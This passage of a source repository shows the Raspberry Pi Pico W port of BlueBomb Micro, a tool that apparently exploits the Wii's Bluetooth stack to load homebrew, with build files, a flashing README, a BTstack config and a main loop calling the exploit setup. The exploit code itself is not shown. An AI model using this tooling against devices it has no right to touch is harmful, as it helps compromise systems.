CONFIG_ESP32_PANIC_SILENT_REBOOT is not set 1866 | # CONFIG_ESP32_PANIC_GDBSTUB is not set 1867 | CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32 1868 | CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304 1869 | CONFIG_MAIN_TASK_STACK_SIZE=3584 1870 | CONFIG_CONSOLE_UART_DEFAULT=y 1871 | # CONFIG_CONSOLE_UART_CUSTOM is not set 1872 | # CONFIG_CONSOLE_UART_NONE is not set 1873 | # CONFIG_ESP_CONSOLE_UART_NONE is not set 1874 | CONFIG_CONSOLE_UART=y 1875 | CONFIG_CONSOLE_UART_NUM=0 1876 | CONFIG_CONSOLE_UART_BAUDRATE=115200 1877 | CONFIG_INT_WDT=y 1878 | CONFIG_INT_WDT_TIMEOUT_MS=300 1879 | CONFIG_INT_WDT_CHECK_CPU1=y 1880 | CONFIG_TASK_WDT=y 1881 | CONFIG_ESP_TASK_WDT=y 1882 | # CONFIG_TASK_WDT_PANIC is not set 1883 | CONFIG_TASK_WDT_TIMEOUT_S=5 1884 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 1885 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 1886 | # CONFIG_ESP32_DEBUG_STUBS_ENABLE is not set 1887 | CONFIG_ESP32_DEBUG_OCDAWARE=y 1888 | CONFIG_BROWNOUT_DET=y 1889 | CONFIG_ESP32_BROWNOUT_DET=y 1890 | CONFIG_BROWNOUT_DET_LVL_SEL_0=y 1891 | CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_0=y 1892 | # CONFIG_BROWNOUT_DET_LVL_SEL_1 is not set 1893 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_1 is not set 1894 | # CONFIG_BROWNOUT_DET_LVL_SEL_2 is not set 1895 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_2 is not set 1896 | # CONFIG_BROWNOUT_DET_LVL_SEL_3 is not set 1897 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_3 is not set 1898 | # CONFIG_BROWNOUT_DET_LVL_SEL_4 is not set 1899 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_4 is not set 1900 | # CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set 1901 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_5 is not set 1902 | # CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set 1903 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_6 is not set 1904 | # CONFIG_BROWNOUT_DET_LVL_SEL_7 is not set 1905 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_7 is not set 1906 | CONFIG_BROWNOUT_DET_LVL=0 1907 | CONFIG_ESP32_BROWNOUT_DET_LVL=0 1908 | # CONFIG_DISABLE_BASIC_ROM_CONSOLE is not set 1909 | CONFIG_IPC_TASK_STACK_SIZE=1024 1910 | CONFIG_TIMER_TASK_STACK_SIZE=3584 1911 | CONFIG_ESP32_WIFI_ENABLED=y 1912 | CONFIG_ESP32_WIFI_STATIC_RX_BUFFER_NUM=10 1913 | CONFIG_ESP32_WIFI_DYNAMIC_RX_BUFFER_NUM=32 1914 | # CONFIG_ESP32_WIFI_STATIC_TX_BUFFER is not set 1915 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER=y 1916 | CONFIG_ESP32_WIFI_TX_BUFFER_TYPE=1 1917 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER_NUM=32 1918 | # CONFIG_ESP32_WIFI_CSI_ENABLED is not set 1919 | CONFIG_ESP32_WIFI_AMPDU_TX_ENABLED=y 1920 | CONFIG_ESP32_WIFI_TX_BA_WIN=6 1921 | CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y 1922 | CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y 1923 | CONFIG_ESP32_WIFI_RX_BA_WIN=6 1924 | CONFIG_ESP32_WIFI_RX_BA_WIN=6 1925 | CONFIG_ESP32_WIFI_NVS_ENABLED=y 1926 | CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_0=y 1927 | # CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_1 is not set 1928 | CONFIG_ESP32_WIFI_SOFTAP_BEACON_MAX_LEN=752 1929 | CONFIG_ESP32_WIFI_MGMT_SBUF_NUM=32 1930 | CONFIG_ESP32_WIFI_IRAM_OPT=y 1931 | CONFIG_ESP32_WIFI_RX_IRAM_OPT=y 1932 | CONFIG_ESP32_WIFI_ENABLE_WPA3_SAE=y 1933 | CONFIG_ESP32_WIFI_ENABLE_WPA3_OWE_STA=y 1934 | CONFIG_WPA_MBEDTLS_CRYPTO=y 1935 | CONFIG_WPA_MBEDTLS_TLS_CLIENT=y 1936 | # CONFIG_WPA_WAPI_PSK is not set 1937 | # CONFIG_WPA_11KV_SUPPORT is not set 1938 | # CONFIG_WPA_MBO_SUPPORT is not set 1939 | # CONFIG_WPA_DPP_SUPPORT is not set 1940 | # CONFIG_WPA_11R_SUPPORT is not set 1941 | # CONFIG_WPA_WPS_SOFTAP_REGISTRAR is not set 1942 | # CONFIG_WPA_WPS_STRICT is not set 1943 | # CONFIG_WPA_DEBUG_PRINT is not set 1944 | # CONFIG_WPA_TESTING_OPTIONS is not set 1945 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_FLASH is not set 1946 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_UART is not set 1947 | CONFIG_ESP32_ENABLE_COREDUMP_TO_NONE=y 1948 | CONFIG_TIMER_TASK_PRIORITY=1 1949 | CONFIG_TIMER_TASK_STACK_DEPTH=2048 1950 | CONFIG_TIMER_QUEUE_LENGTH=10 1951 | # CONFIG_ENABLE_STATIC_TASK_CLEAN_UP_HOOK is not set 1952 | # CONFIG_HAL_ASSERTION_SILIENT is not set 1953 | # CONFIG_L2_TO_L3_COPY is not set 1954 | CONFIG_ESP_GRATUITOUS_ARP=y 1955 | CONFIG_GARP_TMR_INTERVAL=60 1956 | CONFIG_TCPIP_RECVMBOX_SIZE=32 1957 | CONFIG_TCP_MAXRTX=12 1958 | CONFIG_TCP_SYNMAXRTX=12 1959 | CONFIG_TCP_MSS=1440 1960 | CONFIG_TCP_MSL=60000 1961 | CONFIG_TCP_SND_BUF_DEFAULT=5760 1962 | CONFIG_TCP_WND_DEFAULT=5760 1963 | CONFIG_TCP_RECVMBOX_SIZE=6 1964 | CONFIG_TCP_QUEUE_OOSEQ=y 1965 | CONFIG_TCP_OVERSIZE_MSS=y 1966 | # CONFIG_TCP_OVERSIZE_QUARTER_MSS is not set 1967 | # CONFIG_TCP_OVERSIZE_DISABLE is not set 1968 | CONFIG_UDP_RECVMBOX_SIZE=6 1969 | CONFIG_TCPIP_TASK_STACK_SIZE=3072 1970 | CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 1971 | # CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set 1972 | # CONFIG_TCPIP_TASK_AFFINITY_CPU1 is not set 1973 | CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF 1974 | # CONFIG_PPP_SUPPORT is not set 1975 | CONFIG_ESP32_TIME_SYSCALL_USE_RTC_HRT=y 1976 | CONFIG_ESP32_TIME_SYSCALL_USE_RTC_FRC1=y 1977 | # CONFIG_ESP32_TIME_SYSCALL_USE_RTC is not set 1978 | # CONFIG_ESP32_TIME_SYSCALL_USE_HRT is not set 1979 | # CONFIG_ESP32_TIME_SYSCALL_USE_FRC1 is not set 1980 | # CONFIG_ESP32_TIME_SYSCALL_USE_NONE is not set 1981 | CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5 1982 | CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 1983 | CONFIG_ESP32_PTHREAD_STACK_MIN=768 1984 | CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY=y 1985 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_0 is not set 1986 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_1 is not set 1987 | CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1 1988 | CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread" 1989 | CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y 1990 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_FAILS is not set 1991 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ALLOWED is not set 1992 | # CONFIG_ESP32_ULP_COPROC_ENABLED is not set 1993 | CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y 1994 | CONFIG_SUPPORT_TERMIOS=y 1995 | CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1 1996 | # End of deprecated options 1997 | -------------------------------------------------------------------------------- /ports/pico_w/.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | l2cb.c 3 | -------------------------------------------------------------------------------- /ports/pico_w/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.16) 2 | 3 | # Set Board to Pico W, if not set 4 | if (NOT PICO_BOARD) 5 | set(PICO_BOARD "pico_w") 6 | endif() 7 | 8 | # Use custom BTStack fork 9 | set(PICO_BTSTACK_PATH ${CMAKE_CURRENT_SOURCE_DIR}/../../external/btstack) 10 | 11 | # Pull in SDK (must be before project) 12 | include(pico_sdk_import.cmake) 13 | 14 | set(CMAKE_C_STANDARD 11) 15 | set(CMAKE_CXX_STANDARD 17) 16 | 17 | project(bluebomb C CXX ASM) 18 | 19 | # Check system value 20 | include(${CMAKE_CURRENT_SOURCE_DIR}/../../cmake/l2cb.cmake) 21 | if (NOT DEFINED BLUEBOMB_TARGET) 22 | message(SEND_ERROR "Missing BLUEBOMB_TARGET, available options are: ${BLUEBOMB_L2CB_LIST}") 23 | endif() 24 | 25 | # Generate the l2cb value 26 | bluebomb_generate_l2cb(${BLUEBOMB_TARGET}) 27 | 28 | # Initialize the SDK 29 | pico_sdk_init() 30 | 31 | # For btstack config 32 | include_directories(${CMAKE_CURRENT_LIST_DIR}) 33 | 34 | # Build bluebomb_micro 35 | add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/../../components/bluebomb_micro bluebomb_micro) 36 | 37 | add_executable(bluebomb 38 | "main.c" 39 | 40 | # Generated by bluebomb_generate_l2cb 41 | "l2cb.c" 42 | ) 43 | 44 | # Set output name to include target system 45 | set_target_properties(bluebomb PROPERTIES 46 | OUTPUT_NAME "bluebomb_${BLUEBOMB_TARGET}" 47 | ) 48 | 49 | # Link against bluebomb_micro code 50 | target_link_libraries(bluebomb PRIVATE 51 | pico_stdlib 52 | bluebomb_micro 53 | ) 54 | 55 | # Enable USB stdio, disable UART 56 | pico_enable_stdio_usb(bluebomb 1) 57 | pico_enable_stdio_uart(bluebomb 0) 58 | 59 | pico_add_extra_outputs(bluebomb) 60 | 61 | pico_set_program_name(bluebomb "bluebomb_micro") 62 | pico_set_program_description(bluebomb "BlueBomb for embedded systems") 63 | pico_set_program_url(bluebomb "https://github.com/GaryOderNichts/bluebomb_micro") 64 | pico_set_program_version(bluebomb "1.1") 65 | -------------------------------------------------------------------------------- /ports/pico_w/README.md: -------------------------------------------------------------------------------- 1 | # Bluebomb Micro Pico W 2 | This is a port of BlueBomb Micro for the Raspberry Pico W / Pico 2 W. 3 | 4 | ## Requirements 5 | - A Raspberry Pi Pico W / Pico 2 W (the non-W variant will not work). 6 | 7 | ## Using the pre-compiled binaries 8 | 1. Download the latest binaries from the [releases](https://github.com/GaryOderNichts/bluebomb_micro/releases) page. 9 | For the Pico W download the `bluebomb_micro_pico_w_vX.X.zip` file. 10 | For the Pico 2 W download the `bluebomb_micro_pico2_w_vX.X.zip` file. 11 | 1. Plug in your Pico W to your PC while holding down the `BOOTSEL` button. 12 | Your Pico should now show up as a drive. 13 | 1. Unzip the downloaded file and navigate to the `ports/pico_w` directory. 14 | For the Pico W open the `build_pico_w` folder. 15 | For the Pico 2 W open the `build_pico2_w` folder. 16 | 1. Copy the file which matches your Wii to the drive. 17 | If you have a European Wii running version 4.3, you would copy `bluebomb_WII_SM4_3E.uf2`, 18 | if you have a European Wii Mini, you would copy `bluebomb_MINI_SM_PAL.uf2`, etc... 19 | 1. The drive should disconnect and your Pico is ready. 20 | 21 | ## Building from source 22 | 1. Set up the [pico-sdk](https://github.com/raspberrypi/pico-sdk). 23 | 1. Create a `build` directory and navigate into it. 24 | 1. Run `cmake .. -DBLUEBOMB_TARGET="WII_SM4_3J" -DPICO_BOARD="pico_w"` 25 | Replace `WII_SM4_3J` with your target system. 26 | Replace `pico_w` with your target board (`pico_w`/`pico_2w`). 27 | 1. Run `make` 28 | -------------------------------------------------------------------------------- /ports/pico_w/btstack_config.h: -------------------------------------------------------------------------------- 1 | #ifndef _PICO_BTSTACK_BTSTACK_CONFIG_H 2 | #define _PICO_BTSTACK_BTSTACK_CONFIG_H 3 | 4 | // BTstack features that can be enabled 5 | #ifdef ENABLE_BLE 6 | #define ENABLE_LE_PERIPHERAL 7 | #define ENABLE_LE_CENTRAL 8 | #define ENABLE_L2CAP_LE_CREDIT_BASED_FLOW_CONTROL_MODE 9 | #endif 10 | #define ENABLE_LOG_INFO 11 | #define ENABLE_LOG_ERROR 12 | #define ENABLE_PRINTF_HEXDUMP 13 | #define ENABLE_SCO_OVER_HCI 14 | 15 | // BTstack configuration. buffers, sizes, ... 16 | #define HCI_OUTGOING_PRE_BUFFER_SIZE 4 17 | #define HCI_ACL_PAYLOAD_SIZE (1691 + 4) 18 | #define HCI_ACL_CHUNK_SIZE_ALIGNMENT 4 19 | #define MAX_NR_AVDTP_CONNECTIONS 1 20 | #define MAX_NR_AVDTP_STREAM_ENDPOINTS 1 21 | #define MAX_NR_AVRCP_CONNECTIONS 2 22 | #define MAX_NR_BNEP_CHANNELS 1 23 | #define MAX_NR_BNEP_SERVICES 1 24 | #define MAX_NR_BTSTACK_LINK_KEY_DB_MEMORY_ENTRIES 2 25 | #define MAX_NR_GATT_CLIENTS 1 26 | #define MAX_NR_HCI_CONNECTIONS 2 27 | #define MAX_NR_HID_HOST_CONNECTIONS 1 28 | #define MAX_NR_HIDS_CLIENTS 1 29 | #define MAX_NR_HFP_CONNECTIONS 1 30 | #define MAX_NR_L2CAP_CHANNELS 4 31 | #define MAX_NR_L2CAP_SERVICES 3 32 | #define MAX_NR_RFCOMM_CHANNELS 1 33 | #define MAX_NR_RFCOMM_MULTIPLEXERS 1 34 | #define MAX_NR_RFCOMM_SERVICES 1 35 | #define MAX_NR_SERVICE_RECORD_ITEMS 4 36 | #define MAX_NR_SM_LOOKUP_ENTRIES 3 37 | #define MAX_NR_WHITELIST_ENTRIES 16 38 | #define MAX_NR_LE_DEVICE_DB_ENTRIES 16 39 | 40 | // Limit number of ACL/SCO Buffer to use by stack to avoid cyw43 shared bus overrun 41 | #define MAX_NR_CONTROLLER_ACL_BUFFERS 3 42 | #define MAX_NR_CONTROLLER_SCO_PACKETS 3 43 | 44 | // Enable and configure HCI Controller to Host Flow Control to avoid cyw43 shared bus overrun 45 | #define ENABLE_HCI_CONTROLLER_TO_HOST_FLOW_CONTROL 46 | #define HCI_HOST_ACL_PACKET_LEN 1024 47 | #define HCI_HOST_ACL_PACKET_NUM 3 48 | #define HCI_HOST_SCO_PACKET_LEN 120 49 | #define HCI_HOST_SCO_PACKET_NUM 3 50 | 51 | // Link Key DB and LE Device DB using TLV on top of Flash Sector interface 52 | #define NVM_NUM_DEVICE_DB_ENTRIES 16 53 | #define NVM_NUM_LINK_KEYS 16 54 | 55 | // We don't give btstack a malloc, so use a fixed-size ATT DB. 56 | #define MAX_ATT_DB_SIZE 512 57 | 58 | // BTstack HAL configuration 59 | #define HAVE_EMBEDDED_TIME_MS 60 | 61 | // map btstack_assert onto Pico SDK assert() 62 | #define HAVE_ASSERT 63 | 64 | // Some USB dongles take longer to respond to HCI reset (e.g. BCM20702A). 65 | #define HCI_RESET_RESEND_TIMEOUT_MS 1000 66 | 67 | #define ENABLE_SOFTWARE_AES128 68 | #define ENABLE_MICRO_ECC_FOR_LE_SECURE_CONNECTIONS 69 | 70 | #define HAVE_BTSTACK_STDIN 71 | 72 | // To get the audio demos working even with HCI dump at 115200, this truncates long ACL packets 73 | //#define HCI_DUMP_STDOUT_MAX_SIZE_ACL 100 74 | 75 | #ifdef ENABLE_CLASSIC 76 | // #define ENABLE_L2CAP_ENHANCED_RETRANSMISSION_MODE 77 | #endif 78 | 79 | #endif // _PICO_BTSTACK_BTSTACK_CONFIG_H 80 | -------------------------------------------------------------------------------- /ports/pico_w/build_all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # TODO The github workflow currently uses this to build all binaries, this could be moved to cmake machinery too 3 | set -e 4 | set -o pipefail 5 | 6 | # Allow overriding build dir with env variable 7 | build=${BUILD_DIR:-build} 8 | 9 | targets=("MINI_SM_NTSC" "MINI_SM_PAL" "WII_SM2_0E" "WII_SM2_0J" "WII_SM2_0U" "WII_SM2_1E" "WII_SM2_2E" "WII_SM2_2J" "WII_SM2_2U" "WII_SM3_0E" "WII_SM3_0J" "WII_SM3_0U" "WII_SM3_1E" "WII_SM3_1J" "WII_SM3_1U" "WII_SM3_2E" "WII_SM3_2J" "WII_SM3_2U" "WII_SM3_3E" "WII_SM3_3J" "WII_SM3_3U" "WII_SM3_4E" "WII_SM3_4J" "WII_SM3_4U" "WII_SM3_5K" "WII_SM4_0E" "WII_SM4_0J" "WII_SM4_0U" "WII_SM4_1E" "WII_SM4_1J" "WII_SM4_1K" "WII_SM4_1U" "WII_SM4_2E" "WII_SM4_2J" "WII_SM4_2K" "WII_SM4_2U" "WII_SM4_3E" "WII_SM4_3J" "WII_SM4_3K" "WII_SM4_3U") 10 | for target in ${targets[@]}; do 11 | cmake -H. -B$build -DBLUEBOMB_TARGET="$target" -DPICO_BOARD="$PICO_BOARD" 12 | cmake --build $build -j4 13 | done 14 | -------------------------------------------------------------------------------- /ports/pico_w/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "btstack.h" 3 | #include "pico/cyw43_arch.h" 4 | #include "pico/stdlib.h" 5 | 6 | #include "bluebomb_micro.h" 7 | 8 | // Provided by generated l2cb.c file 9 | extern uint32_t bluebomb_l2cb; 10 | 11 | static btstack_timer_source_t heartbeat; 12 | 13 | static void heartbeat_handler(struct btstack_timer_source *ts) 14 | { 15 | // Invert the led 16 | static bool led_on = true; 17 | led_on = !led_on; 18 | cyw43_arch_gpio_put(CYW43_WL_GPIO_LED_PIN, led_on); 19 | 20 | uint32_t blink_speed; 21 | switch (bluebomb_get_stage()) { 22 | // Very slow idle blink 23 | case STAGE_INIT: 24 | blink_speed = 1000; 25 | break; 26 | // Fast blink while uploading payload 27 | case STAGE_UPLOAD_PAYLOAD: 28 | blink_speed = 50; 29 | break; 30 | // Medium blink during all other connected stages 31 | default: 32 | blink_speed = 100; 33 | break; 34 | } 35 | 36 | // Restart timer 37 | btstack_run_loop_set_timer(ts, blink_speed); 38 | btstack_run_loop_add_timer(ts); 39 | } 40 | 41 | int main() 42 | { 43 | stdio_init_all(); 44 | // add a small delay for usb serial to catch up 45 | // sleep_ms(1000 * 2); 46 | 47 | // initialize CYW43 driver architecture 48 | if (cyw43_arch_init()) { 49 | printf("failed to initialise cyw43_arch\n"); 50 | return -1; 51 | } 52 | 53 | // set one-shot btstack timer 54 | heartbeat.process = &heartbeat_handler; 55 | btstack_run_loop_set_timer(&heartbeat, 1000); 56 | btstack_run_loop_add_timer(&heartbeat); 57 | 58 | bluebomb_setup(bluebomb_l2cb); 59 | 60 | // Enter run loop (forever) 61 | btstack_run_loop_execute(); 62 | 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /ports/pico_w/pico_sdk_import.cmake: -------------------------------------------------------------------------------- 1 | # This is a copy of /external/pico_sdk_import.cmake 2 | 3 | # This can be dropped into an external project to help locate this SDK 4 | # It should be include()ed prior to project() 5 | 6 | if (DEFINED ENV{PICO_SDK_PATH} AND (NOT PICO_SDK_PATH)) 7 | set(PICO_SDK_PATH $ENV{PICO_SDK_PATH}) 8 | message("Using PICO_SDK_PATH from environment ('${PICO_SDK_PATH}')") 9 | endif () 10 | 11 | if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT} AND (NOT PICO_SDK_FETCH_FROM_GIT)) 12 | set(PICO_SDK_FETCH_FROM_GIT $ENV{PICO_SDK_FETCH_FROM_GIT}) 13 | message("Using PICO_SDK_FETCH_FROM_GIT from environment ('${PICO_SDK_FETCH_FROM_GIT}')") 14 | endif () 15 | 16 | if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_PATH} AND (NOT PICO_SDK_FETCH_FROM_GIT_PATH)) 17 | set(PICO_SDK_FETCH_FROM_GIT_PATH $ENV{PICO_SDK_FETCH_FROM_GIT_PATH}) 18 | message("Using PICO_SDK_FETCH_FROM_GIT_PATH from environment ('${PICO_SDK_FETCH_FROM_GIT_PATH}')") 19 | endif () 20 | 21 | if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_TAG} AND (NOT PICO_SDK_FETCH_FROM_GIT_TAG)) 22 | set(PICO_SDK_FETCH_FROM_GIT_TAG $ENV{PICO_SDK_FETCH_FROM_GIT_TAG}) 23 | message("Using PICO_SDK_FETCH_FROM_GIT_TAG from environment ('${PICO_SDK_FETCH_FROM_GIT_TAG}')") 24 | endif () 25 | 26 | if (PICO_SDK_FETCH_FROM_GIT AND NOT PICO_SDK_FETCH_FROM_GIT_TAG) 27 | set(PICO_SDK_FETCH_FROM_GIT_TAG "master") 28 | message("Using master as default value for PICO_SDK_FETCH_FROM_GIT_TAG") 29 | endif() 30 | 31 | set(PICO_SDK_PATH "${PICO_SDK_PATH}" CACHE PATH "Path to the Raspberry Pi Pico SDK") 32 | set(PICO_SDK_FETCH_FROM_GIT "${PICO_SDK_FETCH_FROM_GIT}" CACHE BOOL "Set to ON to fetch copy of SDK from git if not otherwise locatable") 33 | set(PICO_SDK_FETCH_FROM_GIT_PATH "${PICO_SDK_FETCH_FROM_GIT_PATH}" CACHE FILEPATH "location to download SDK") 34 | set(PICO_SDK_FETCH_FROM_GIT_TAG "${PICO_SDK_FETCH_FROM_GIT_TAG}" CACHE FILEPATH "release tag for SDK") 35 | 36 | if (NOT PICO_SDK_PATH) 37 | if (PICO_SDK_FETCH_FROM_GIT) 38 | include(FetchContent) 39 | set(FETCHCONTENT_BASE_DIR_SAVE ${FETCHCONTENT_BASE_DIR}) 40 | if (PICO_SDK_FETCH_FROM_GIT_PATH) 41 | get_filename_component(FETCHCONTENT_BASE_DIR "${PICO_SDK_FETCH_FROM_GIT_PATH}" REALPATH BASE_DIR "${CMAKE_SOURCE_DIR}") 42 | endif () 43 | # GIT_SUBMODULES_RECURSE was added in 3.17 44 | if (${CMAKE_VERSION} VERSION_GREATER_EQUAL "3.17.0") 45 | FetchContent_Declare( 46 | pico_sdk 47 | GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk 48 | GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG} 49 | GIT_SUBMODULES_RECURSE FALSE 50 | ) 51 | else () 52 | FetchContent_Declare( 53 | pico_sdk 54 | GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk 55 | GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG} 56 | ) 57 | endif () 58 | 59 | if (NOT pico_sdk) 60 | message("Downloading Raspberry Pi Pico SDK") 61 | FetchContent_Populate(pico_sdk) 62 | set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR}) 63 | endif () 64 | set(FETCHCONTENT_BASE_DIR ${FETCHCONTENT_BASE_DIR_SAVE}) 65 | else () 66 | message(FATAL_ERROR 67 | "SDK location was not specified. Please set PICO_SDK_PATH or set PICO_SDK_FETCH_FROM_GIT to on to fetch from git." 68 | ) 69 | endif () 70 | endif () 71 | 72 | get_filename_component(PICO_SDK_PATH "${PICO_SDK_PATH}" REALPATH BASE_DIR "${CMAKE_BINARY_DIR}") 73 | if (NOT EXISTS ${PICO_SDK_PATH}) 74 | message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' not found") 75 | endif () 76 | 77 | set(PICO_SDK_INIT_CMAKE_FILE ${PICO_SDK_PATH}/pico_sdk_init.cmake) 78 | if (NOT EXISTS ${PICO_SDK_INIT_CMAKE_FILE}) 79 | message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' does not appear to contain the Raspberry Pi Pico SDK") 80 | endif () 81 | 82 | set(PICO_SDK_PATH ${PICO_SDK_PATH} CACHE PATH "Path to the Raspberry Pi Pico SDK" FORCE) 83 | 84 | include(${PICO_SDK_INIT_CMAKE_FILE}) 85 | --------------------------------------------------------------------------------